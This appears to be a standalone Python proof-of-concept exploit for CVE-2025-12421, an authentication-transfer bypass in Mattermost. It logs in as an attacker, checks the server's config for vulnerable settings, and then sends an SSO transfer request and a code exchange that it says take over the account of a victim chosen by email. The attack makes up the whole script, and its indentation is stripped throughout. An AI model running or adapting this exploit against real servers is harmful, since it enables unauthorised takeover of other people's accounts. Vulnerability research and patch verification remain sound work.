#!/usr/bin/env python3
"""
CVE-2025-12421 PoC - Mattermost Authentication Bypass Account Takeover
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-12421
"""
import requests
import json
import sys
from urllib.parse import urljoin
class MattermostExploit:
def __init__(self, target_url, attacker_username, attacker_password):
self.target_url = target_url.rstrip('/')
self.attacker_username = attacker_username
self.attacker_password = attacker_password
self.session = requests.Session()
self.token = None
def login(self):
"""Authenticate as the attacker account"""
login_url = urljoin(self.target_url, '/api/v4/users/login')
payload = {
'login_id': self.attacker_username,
'password': self.attacker_password
}
response = self.session.post(login_url, json=payload)
if response.status_code == 200:
self.token = response.headers.get('Token')
self.session.headers.update({'Authorization': f'Bearer {self.token}'})
print(f"[+] Successfully authenticated as {self.attacker_username}")
return True
print(f"[-] Authentication failed: {response.status_code}")
return False
def check_vulnerability(self):
"""Check if the target is vulnerable by verifying config settings"""
config_url = urljoin(self.target_url, '/api/v4/config')
response = self.session.get(config_url)
if response.status_code == 200:
config = response.json()
auth_transfer = config.get('ExperimentalEnableAuthenticationTransfer', True)
email_verification = config.get('RequireEmailVerification', False)
print(f"[*] ExperimentalEnableAuthenticationTransfer: {auth_transfer}")
print(f"[*] RequireEmailVerification: {email_verification}")
if auth_transfer and not email_verification:
print("[+] Target appears to be vulnerable (default config)")
return True
return False
def initiate_auth_transfer(self, target_email):
"""Initiate authentication transfer with target email"""
transfer_url = urljoin(self.target_url, '/api/v4/users/login/sso/init')
payload = {'email': target_email}
response = self.session.post(transfer_url, json=payload)
if response.status_code in [200, 201]:
data = response.json()
print(f"[+] Auth transfer initiated for {target_email}")
return data.get('flow_id') or data.get('state')
print(f"[-] Auth transfer failed: {response.status_code}")
return None
def execute_code_exchange(self, flow_id, malicious_email):
"""Execute the OAuth code exchange with malicious email"""
exchange_url = urljoin(self.target_url, '/users/login/sso/code-exchange')
payload = {
'flow_id': flow_id,
'email': malicious_email,
'auth_type': 'saml' # or 'oauth'
}
response = self.session.post(exchange_url, json=payload)
if response.status_code in [200, 201]:
print(f"[+] Code exchange successful - Account takeover achieved")
return True
print(f"[-] Code exchange failed: {response.status_code}")
return False
def exploit(self, target_email):
"""Execute the full attack chain"""
print(f"[*] Starting CVE-2025-12421 exploitation against {self.target_url}")
if not self.login():
return False
if not self.check_vulnerability():
print("[-] Target may not be vulnerable")
flow_id = self.initiate_auth_transfer(target_email)
if not flow_id:
return False
return self.execute_code_exchange(flow_id, target_email)
if __name__ == '__main__':
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <attacker_user> <attacker_pass> <target_email>")
print(f"Example: {sys.argv[0]} https://mattermost.example.com
[email protected] Pass123!
[email protected]")
sys.exit(1)
target = sys.argv[1]
attacker_user = sys.argv[2]
attacker_pass = sys.argv[3]
target_email = sys.argv[4]
exploit = MattermostExploit(target, attacker_user, attacker_pass)
success = exploit.exploit(target_email)
sys.exit(0 if success else 1)